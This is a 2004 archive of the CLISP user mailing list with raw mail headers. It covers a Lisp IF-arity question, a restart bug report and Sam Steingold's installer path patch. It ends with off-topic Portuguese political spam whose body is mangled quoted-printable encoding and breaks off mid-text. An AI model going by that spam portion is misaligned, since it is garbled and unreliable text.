Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 14 19:26:08 2004 X-Original-Date: Sun, 15 Aug 2004 04:24:50 +0200 Jeff Bowman writes: > have some code that looks like this: > > (if (y-or-n-p "restart: ") > (setf idx 0) > (setf stop-billing t) > (return)) > > but when this bit of code gets compiled, I get: +----------------------------------------------------------------------------+ | ERROR in RUN-BILLING-FOR in lines 82..183 : | | Form too long, too many arguments: (IF (Y-OR-N-P "restart: ") (SETF IDX 0) | | (SETF STOP-BILLING T) (RETURN)) | +----------------------------------------------------------------------------+ So, what word in this error message did you not understand? Form too long too many arguments You're not playing with toy emacs lisp anymore. You're with COMMON-LISP. Here, the IF special operator takes THREE (3) arguments at most: - the test-form, - the then-form, - the else-form. > I have tried adding (progn) around this code as well as in the true portion > of the form with no change (wasn't expecting one, but it's what I could > think of to try). You need some philosophy: AI koan -- A novice was trying to fix a broken lisp machine by turning the power off and on. Knight, seeing what the student was doing spoke sternly- "You can not fix a machine by just power-cycling it with no understanding of what is going wrong." Knight turned the machine off and on. The machine worked. So you cannot add (progn) around code without knowing what you're doing. Programming does not work like that! -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From dogskin@fastmail.fm Mon Aug 16 01:54:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BwdGR-0000G8-Uy for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 01:54:47 -0700 Received: from [202.81.160.17] (helo=outmx1.tri-isys.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BwdGR-0002VL-IF for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 01:54:47 -0700 Received: from avmx1.tri-isys.com (avmx1 [202.81.160.71]) by outmx1.tri-isys.com (Postfix) with ESMTP id E44A785341 for ; Mon, 16 Aug 2004 16:54:39 +0800 (PHT) Received: from localhost (avmx1.tri-isys.com [127.0.0.1]) by avmx1.tri-isys.com (Postfix) with ESMTP id 954193EC3D9 for ; Mon, 16 Aug 2004 16:54:42 +0800 (PHT) Received: from avmx1.tri-isys.com ([127.0.0.1]) by localhost (avmx1.tri-isys.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 01316-01 for ; Mon, 16 Aug 2004 16:54:39 +0800 (PHT) Received: from inmx.tri-isys.com (inmx1.tri-isys.com [202.81.160.11]) by avmx1.tri-isys.com (Postfix) with ESMTP id 2D45D3EC33E for ; Mon, 16 Aug 2004 16:54:39 +0800 (PHT) Received: from smtp.ispbonanza.com.ph (ipdial-170-246.tri-isys.com [202.81.170.246]) by inmx.tri-isys.com (Postfix) with ESMTP id 7F9BC66084 for ; Mon, 16 Aug 2004 16:54:15 +0800 (PHT) To: clisp-list@lists.sourceforge.net References: Message-ID: From: "Aldrich Co" Organization: UPM Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Opera M2/7.53 (Win32, build 3850) X-Virus-Scanned: by amavisd-new at tri-isys.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: history using arrow keys Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 16 01:55:11 2004 X-Original-Date: Mon, 16 Aug 2004 16:54:15 +0800 On Fri, 13 Aug 2004 10:03:06 -0400, Sam Steingold wrote: yes! > > did you build CLISP yourself? > -- Principle isn't the main thing in life; it's the only thing. From sds@gnu.org Mon Aug 16 06:21:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BwhQi-0003Yk-R0 for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 06:21:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BwhQi-0003LX-CV for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 06:21:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7GDLSdm008519; Mon, 16 Aug 2004 09:21:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Aldrich Co" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Aldrich Co's message of "Mon, 16 Aug 2004 16:54:15 +0800") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Aldrich Co" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: history using arrow keys Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 16 06:22:06 2004 X-Original-Date: Mon, 16 Aug 2004 09:21:28 -0400 > * Aldrich Co [2004-08-16 16:54:15 +0800]: > > On Fri, 13 Aug 2004 10:03:06 -0400, Sam Steingold wrote: > > yes! >> >> did you build CLISP yourself? more information needed. see URLs in the previous message. -- Sam Steingold (http://www.podval.org/~sds) running w2k Experience comes with debts. From slepnev_v@rambler.ru Mon Aug 16 13:05:38 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bwnje-0007Rk-3l for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 13:05:38 -0700 Received: from mxb.rambler.ru ([81.19.66.30]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bwnjd-0004ub-LK for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 13:05:38 -0700 Received: from mail1.rambler.ru (mail1.rambler.ru [81.19.66.85]) by mxb.rambler.ru (Postfix) with ESMTP id 580F683578 for ; Tue, 17 Aug 2004 00:05:33 +0400 (MSD) Received: from [81.19.66.146] (account slepnev_v@rambler.ru) by mail1.rambler.ru (CommuniGate Pro WebUser 4.1.6) with HTTP id 74074349 for clisp-list@lists.sourceforge.net; Tue, 17 Aug 2004 00:05:33 +0400 From: "=?windows-1251?Q?=D1=EB=E5=EF=ED=E5=E2_=C2=EB=E0=E4=E8=EC=E8=F0?=" To: clisp-list@lists.sourceforge.net X-Mailer: CommuniGate Pro WebUser Interface v.4.1.6 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1251"; format="flowed" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] store-value restart bug? or i don't understand something? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 16 13:06:13 2004 X-Original-Date: Tue, 17 Aug 2004 00:05:33 +0400 Hello, My CLISP --version: GNU CLISP 2.33 (2004-03-17) (built on winsteingoldlap [192.168.1.101]) Software: GNU C 3.3.1 (cygming special) ANSI C program Features:=20 (DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP=20 LISP=3DCL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI=20 UNICODE BASE-CHAR=3DCHARACTER PC386 WIN32) Installation directory: C:\Vova\clisp-2.33.1\ User language: ENGLISH Machine: PC/386 (PC/686) vovka (ip censored =3D) I'm trying to do the following in interactive clisp: [1]> (foo 1 2) ** - Continuable Error EVAL: undefined function FOO If you continue (by typing 'continue'): Retry The following restarts are also available: STORE-VALUE :R1 You may input a new value for (FDEFINITION=20 'FOO). USE-VALUE :R2 You may input a value to be used instead of=20 (FDEFINITION 'FOO). Break 1 [2]> :r1 New (FDEFINITION 'FOO): #'+ ** - Continuable Error EVAL: undefined function FOO If you continue (by typing 'continue'): Retry The following restarts are also available: STORE-VALUE :R1 You may input a new value for (FDEFINITION=20 'FOO). USE-VALUE :R2 You may input a value to be used instead of=20 (FDEFINITION 'FOO). Break 1 [3]> :a [4]> (quit) Bye. Isn't this wrong? Is this the same on Unix? On a minor note, the paths in clisp.bat after installation are=20 screwed. Just install CLISP on a Windows machine, then try to run=20 clisp.bat - it won't find lisp.exe . Vladimir Slepnev P.S. Dear Moderator! Please, let this message through! I've no=20 intention of subscribing to yet another mailing list just to file a=20 bug. From sds@gnu.org Mon Aug 16 14:06:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bwogr-0001kP-Nq for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 14:06:49 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bwofc-00017Q-DQ for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 14:06:49 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7GL5Fdm009694; Mon, 16 Aug 2004 17:05:15 -0400 (EDT) To: clisp-list@lists.sourceforge.net, =?utf-8?b?0KHQu9C10L8=?= =?utf-8?b?0L3QtdCyINCS0LvQsNC00LjQvNC4?= =?utf-8?b?0YA=?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: =?utf-8?b?KNCh0Ls=?= =?utf-8?b?0LXQv9C90LXQsiDQktC70LDQtNC4?= =?utf-8?b?0LzQuNGAJ3M=?= message of "Tue, 17 Aug 2004 00:05:33 +0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, =?utf-8?b?0KE=?= =?utf-8?b?0LvQtdC/0L3QtdCyINCS0LvQsNC0?= =?utf-8?b?0LjQvNC40YA=?= Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: store-value restart bug? or i don't understand something? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 16 14:07:06 2004 X-Original-Date: Mon, 16 Aug 2004 17:05:14 -0400 > * =D0=A1=D0=BB=D0=B5=D0=BF=D0=BD=D0=B5=D0=B2 =D0=92=D0=BB=D0=B0=D0=B4=D0= =B8=D0=BC=D0=B8=D1=80 [2004-08-17 00:05:33 +0400]: > > New (FDEFINITION 'FOO): #'+ this is not a function. your input is not evaluated, so you need to do [1]> (foo 1 2) ** - Continuable Error EVAL: undefined function FOO If you continue (by typing 'continue'): Retry The following restarts are also available: STORE-VALUE :R1 You may input a new value for (FDEFINITION 'FOO). USE-VALUE :R2 You may input a value to be used instead of (FDEFIN= ITION 'FOO). Break 1 [2]> :r1 New (FDEFINITION 'FOO): #.#'+ 3 [3]>=20 > On a minor note, the paths in clisp.bat after installation are > screwed. Just install CLISP on a Windows machine, then try to run > clisp.bat - it won't find lisp.exe . thanks. please try the appended patch. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k WHO ATE MY BREAKFAST PANTS? --- install.lisp 16 Aug 2004 17:00:01 -0400 1.11 +++ install.lisp 16 Aug 2004 17:02:44 -0400=09 @@ -10,16 +10,14 @@ =20 (defvar *clisp-home* (namestring (default-directory))) (defvar *clisp-runtime* - (if (position #\Space *clisp-home*) - (concatenate 'string "\"" *clisp-home* "\\base\\lisp.exe\"") - (concatenate 'string *clisp-home* "lisp.exe"))) + (concatenate 'string "\"" *clisp-home* "base\\lisp.exe\"")) (defvar *clisp-some-args* (concatenate 'string " -B \"" (substitute #\/ #\\ *clisp-home*) "\" -M "= )) (defvar *clisp-some-cmd* (concatenate 'string *clisp-runtime* *clisp-some-args*)) (defvar *clisp-args* (concatenate 'string *clisp-some-args* "\"" - *clisp-home* "/base/lispinit.mem\"")) + *clisp-home* "base\\lispinit.mem\"")) (defvar *clisp-cmd* (concatenate 'string *clisp-runtime* *clisp-args*)) =20 From slepnev_v@rambler.ru Mon Aug 16 15:45:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BwqDz-0000uR-30 for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 15:45:07 -0700 Received: from mxb.rambler.ru ([81.19.66.30]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BwqBA-0000Rj-Hn for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 15:45:06 -0700 Received: from mail1.rambler.ru (mail1.rambler.ru [81.19.66.85]) by mxb.rambler.ru (Postfix) with ESMTP id A3CBE83683 for ; Tue, 17 Aug 2004 02:41:38 +0400 (MSD) Received: from [81.19.66.146] (account slepnev_v@rambler.ru) by mail1.rambler.ru (CommuniGate Pro WebUser 4.1.6) with HTTP id 74111559 for clisp-list@lists.sourceforge.net; Tue, 17 Aug 2004 02:41:38 +0400 From: "=?utf-8?Q?=D0=A1=D0=BB=D0=B5=D0=BF=D0=BD=D0=B5=D0=B2?= =?utf-8?Q?_=D0=92=D0=BB=D0=B0=D0=B4=D0=B8=D0=BC=D0=B8=D1=80?=" To: clisp-list@lists.sourceforge.net X-Mailer: CommuniGate Pro WebUser Interface v.4.1.6 Message-ID: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8"; format="flowed" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Re: store-value restart bug? or i don't understand something? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 16 15:46:59 2004 X-Original-Date: Tue, 17 Aug 2004 02:41:38 +0400 Thanks for the prompt reply! >> New (FDEFINITION 'FOO): #'+ > >this is not a function. >your input is not evaluated, so you need to do > >[1]> (foo 1 2) > >** - Continuable Error >EVAL: undefined function FOO >If you continue (by typing 'continue'): Retry >The following restarts are also available: >STORE-VALUE :R1 You may input a new value for (FDEFINITION=20 >'FOO). >USE-VALUE :R2 You may input a value to be used instead of=20 >(FDEFINITION 'FOO). > >Break 1 [2]> :r1 > >New (FDEFINITION 'FOO): #.#'+ > >3 >[3]>=20 > Hm. This works for :r1, but not for :r2. I'm missing something else?=20 Sorry if I'm asking dumb questions. >thanks. >please try the appended patch. >- (concatenate 'string "\"" *clisp-home* "\\base\\lisp.exe\"") >- (concatenate 'string *clisp-home* "lisp.exe"))) >+ (concatenate 'string "\"" *clisp-home* "base\\lisp.exe\"")) I think it should say "full" instead of "base", no? Vladimir Slepnev From sds@gnu.org Mon Aug 16 18:23:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bwsgx-0006Ri-N3 for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 18:23:11 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bwsek-0007Vo-DI for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 18:23:11 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BwseO-000326-00; Mon, 16 Aug 2004 21:20:32 -0400 To: clisp-list@lists.sourceforge.net, =?utf-8?b?0KHQu9C10L8=?= =?utf-8?b?0L3QtdCyINCS0LvQsNC00LjQvNC4?= =?utf-8?b?0YA=?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: =?utf-8?b?KNCh0Ls=?= =?utf-8?b?0LXQv9C90LXQsiDQktC70LDQtNC4?= =?utf-8?b?0LzQuNGAJ3M=?= message of "Tue, 17 Aug 2004 02:41:38 +0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, =?utf-8?b?0KE=?= =?utf-8?b?0LvQtdC/0L3QtdCyINCS0LvQsNC0?= =?utf-8?b?0LjQvNC40YA=?= Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: store-value restart bug? or i don't understand something? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 16 18:24:11 2004 X-Original-Date: Mon, 16 Aug 2004 21:20:30 -0400 > * =D0=A1=D0=BB=D0=B5=D0=BF=D0=BD=D0=B5=D0=B2 =D0=92=D0=BB=D0=B0=D0=B4=D0= =B8=D0=BC=D0=B8=D1=80 [2004-08-17 02:41:38 +0400]: > > Hm. This works for :r1, but not for :r2. I'm missing something else? nope, you discovered a bug. thanks. >>please try the appended patch. >>- (concatenate 'string "\"" *clisp-home* "\\base\\lisp.exe\"") >>- (concatenate 'string *clisp-home* "lisp.exe"))) >>+ (concatenate 'string "\"" *clisp-home* "base\\lisp.exe\"")) > > I think it should say "full" instead of "base", no? --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Profanity is the one language all programmers know best. From leandrocohen@usermail.com Mon Aug 16 21:48:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BwvtZ-000777-I2 for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 21:48:25 -0700 Received: from 201008047192.user.veloxzone.com.br ([201.8.47.192] helo=usermail.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BwvtW-0000jU-Cl for clisp-list@lists.sourceforge.net; Mon, 16 Aug 2004 21:48:25 -0700 From: =?ISO-8859-1?Q?Leandro Cohen?= To: Mime-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Reply-To: "=?ISO-8859-1?Q?Leandro Cohen?=" X-Priority: 1 (Highest) Content-Transfer-Encoding: quoted-printable Message-ID: X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 X_PRIORITY_HIGH Sent with 'X-Priority' set to high 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 HTML_MESSAGE BODY: HTML included in message 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.3 UPPERCASE_25_50 message body is 25-50% uppercase 0.8 PRIORITY_NO_NAME Message has priority setting, but no X-Mailer Subject: [clisp-list] =?ISO-8859-1?Q?Lula quer fim dos direitos do trabalhador...?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 16 21:49:02 2004 X-Original-Date: Tue, 17 Aug 2004 01:48:57 -0300 = s= o= h= = r= e= p= a= s= s= a= n= d= o= .= .= .= = s= i= n= c= e= r= a= m= e= n= t= e= ,= = s= i= n= t= o= -= m= e= = t= r= i= s= t= e= = p= o= r= = t= e= r= = v= o= t= a= d= o= = n= o= = l= u= l= a= .= .= .= = e= h= .= .= .= =20 = = s= e= = a= r= r= e= p= e= n= d= i= m= e= n= t= o= = m= a= t= a= s= s= e= = t= a= v= a= = e= u= = d= u= r= i= n= h= o= .= .= .=20 = =20 = = e= = a= i= n= d= a= = m= e= = v= e= m= = o= = b= i= t= t= a= r= = d= i= z= e= n= d= o= = q= = e= h= = a= m= i= g= u= i= n= h= o= = d= e= l= e= .= .= .= = p= q= p= q= p= q= p= q= p=20 = =20 = =20 = O= = P= T= = E= = O= = P= C= = D= O= = B= = S= =D3= = E= S= T= =C3= O= = E= S= P= E= R= A= N= D= O= = P= A= S= S= A= R= = A= S= = E= L= E= I= =C7= =D5= E= S= = P= A= R= A= = A= C= A= B= A= R= = C= O= M= = O= S= = D= I= R= E= I= T= O= S= = D= O= S= = T= R= A= B= A= L= H= A= D= O= R= E= S= = != =20 =20 = = (= = V= =C3= O= = A= C= A= B= A= R= = C= O= M= = O= = F= G= T= S= = ,= = 1= 3= =BA= = S= A= L= =C1= R= I= O= = ,= = S= E= G= U= R= O= = D= E= S= E= M= P= R= E= G= O= =20 = = E= = L= I= C= E= N= =C7= A= = M= A= T= E= R= N= I= D= A= D= E= = )= =20 = V= E= J= A= = M= A= T= =C9= R= I= A= = D= A= = F= O= L= H= A= = D= E= = S= =C3= O= = P= A= U= L= O= = A= O= N= D= E= = L= U= L= A= = ,= = S= E= M= = Q= U= E= R= E= R= = C= O= N= F= I= R= M= A= =20 = = Q= U= E= = S= =D3= = E= S= T= =C1= = E= S= P= E= R= A= N= D= O= = P= A= S= S= A= R= = A= S= = E= L= E= I= &= =C7= =D5= E= S= = P= A= R= A= = A= C= A= B= A= R= =20 = = C= O= M= = A= = C= L= T= = E= = C= O= M= = O= S= = D= I= R= E= I= T= O= S= = T= R= A= B= A= L= H= I= S= T= A= S= = <= b= r= >=20 = = = h= t= t= p= := /= /= w= w= w= 1= .= f= o= l= h= a= .= u= o= l= .= c= o= m= .= b= r= /= f= o= l= h= a= /= b= r= a= s= i= l= /= u= l= t= 9= 6= u= 5= 8= 1= 1= 6= .= s= h= t= m= l=20 =20 = =20 = L= u= l= a= = q= u= e= r= = f= l= e= x= i= b= i= l= i= z= a= =E7= =E3= o= = d= a= = C= L= T= = e= m= = 2= 0= 0= 5= =20 = E= L= I= A= N= E= = C= A= N= T= A= N= H= =CA= D= E=20 = K= E= N= N= E= D= Y= = A= L= E= N= C= A= R=20 = d= a= = F= o= l= h= a= = d= e= = S= .= P= a= u= l= o= ,= = e= m= = B= r= a= s= =ED= l= i= a=20 = O= = p= r= e= s= i= d= e= n= t= e= = L= u= i= z= = I= n= =E1= c= i= o= = L= u= l= a= = d= a= = S= i= l= v= a= = d= e= f= e= n= d= e= u= ,= = d= u= r= a= n= t= e= = j= a= n= t= a= r= = a= n= t= e= o= n= t= e= m= = c= o= m= = j= o= r= n= a= l= i= s= t= a= s= ,= = a= = f= l= e= x= i= b= i= l= i= z= a= =E7= =E3= o= = d= a= s= = l= e= i= s= = t= r= a= b= a= l= h= i= s= t= a= s= ,= = i= n= c= l= u= s= i= v= e= = d= a= = m= u= l= t= a= = d= e= = 4= 0= %= = s= o= b= r= e= = o= = F= G= T= S= ,= = e= = d= e= s= c= a= r= t= o= u= = i= n= c= i= s= i= v= a= m= e= n= t= e= = m= u= d= a= r= = a= = p= o= l= =ED= t= i= c= a= = e= c= o= n= =F4= m= i= c= a= := = "= P= l= a= n= o= = B= = =E9= = i= n= v= e= n= =E7= =E3= o= ,= = n= =E3= o= = e= x= i= s= t= e= "= .=20 = L= u= l= a= = d= i= s= s= e= = q= u= e= = e= n= v= i= a= r= =E1= = a= o= = C= o= n= g= r= e= s= s= o= = e= m= = 2= 0= 0= 4= = a= s= = r= e= f= o= r= m= a= s= = s= i= n= d= i= c= a= l= = e= = d= o= = J= u= d= i= c= i= =E1= r= i= o= .= = "= A= = r= e= f= o= r= m= a= = t= r= a= b= a= l= h= i= s= t= a= = s= =F3= = e= m= = 2= 0= 0= 5= ,= = p= o= r= q= u= e= = e= s= t= e= = a= n= o= = =E9= = u= m= = a= n= o= = a= t= =ED= p= i= c= o= "= ,= = n= u= m= a= = a= l= u= s= =E3= o= = =E0= s= = e= l= e= i= =E7= =F5= e= s= = m= u= n= i= c= i= p= a= i= s= .=20 = F= o= i= = n= e= s= s= e= = m= o= m= e= n= t= o= = q= u= e= = d= e= f= e= n= d= e= u= ,= = s= e= m= = d= e= t= a= l= h= e= s= ,= = u= m= a= = r= e= f= o= r= m= a= = t= r= a= b= a= l= h= i= s= t= a= = q= u= e= = "= i= n= c= e= n= t= i= v= e= = a= = g= e= r= a= =E7= =E3= o= = d= e= = e= m= p= r= e= g= o= s= "= .= = D= i= s= s= e= = q= u= e= = a= s= = p= a= r= t= e= s= ,= = t= r= a= b= a= l= h= a= d= o= r= e= s= ,= = e= m= p= r= e= s= =E1= r= i= o= s= = e= = g= o= v= e= r= n= o= ,= = d= e= v= e= m= = "= t= e= r= = l= i= b= e= r= d= a= d= e= "= = e= = s= e= = d= i= s= p= o= r= = a= = f= a= z= e= r= = u= m= a= = n= e= g= o= c= i= a= =E7= =E3= o= .= = "= M= a= s= ,= = s= e= = c= a= d= a= = u= m= = p= e= n= s= a= r= = s= =F3= = e= m= = g= a= n= h= a= r= ,= = p= a= r= a= l= i= s= a= .= "=20 = A= p= e= s= a= r= = d= e= = r= e= j= e= i= t= a= r= = o= = u= s= o= = d= a= = p= a= l= a= v= r= a= = "= f= l= e= x= i= b= i= l= i= z= a= =E7= =E3= o= "= 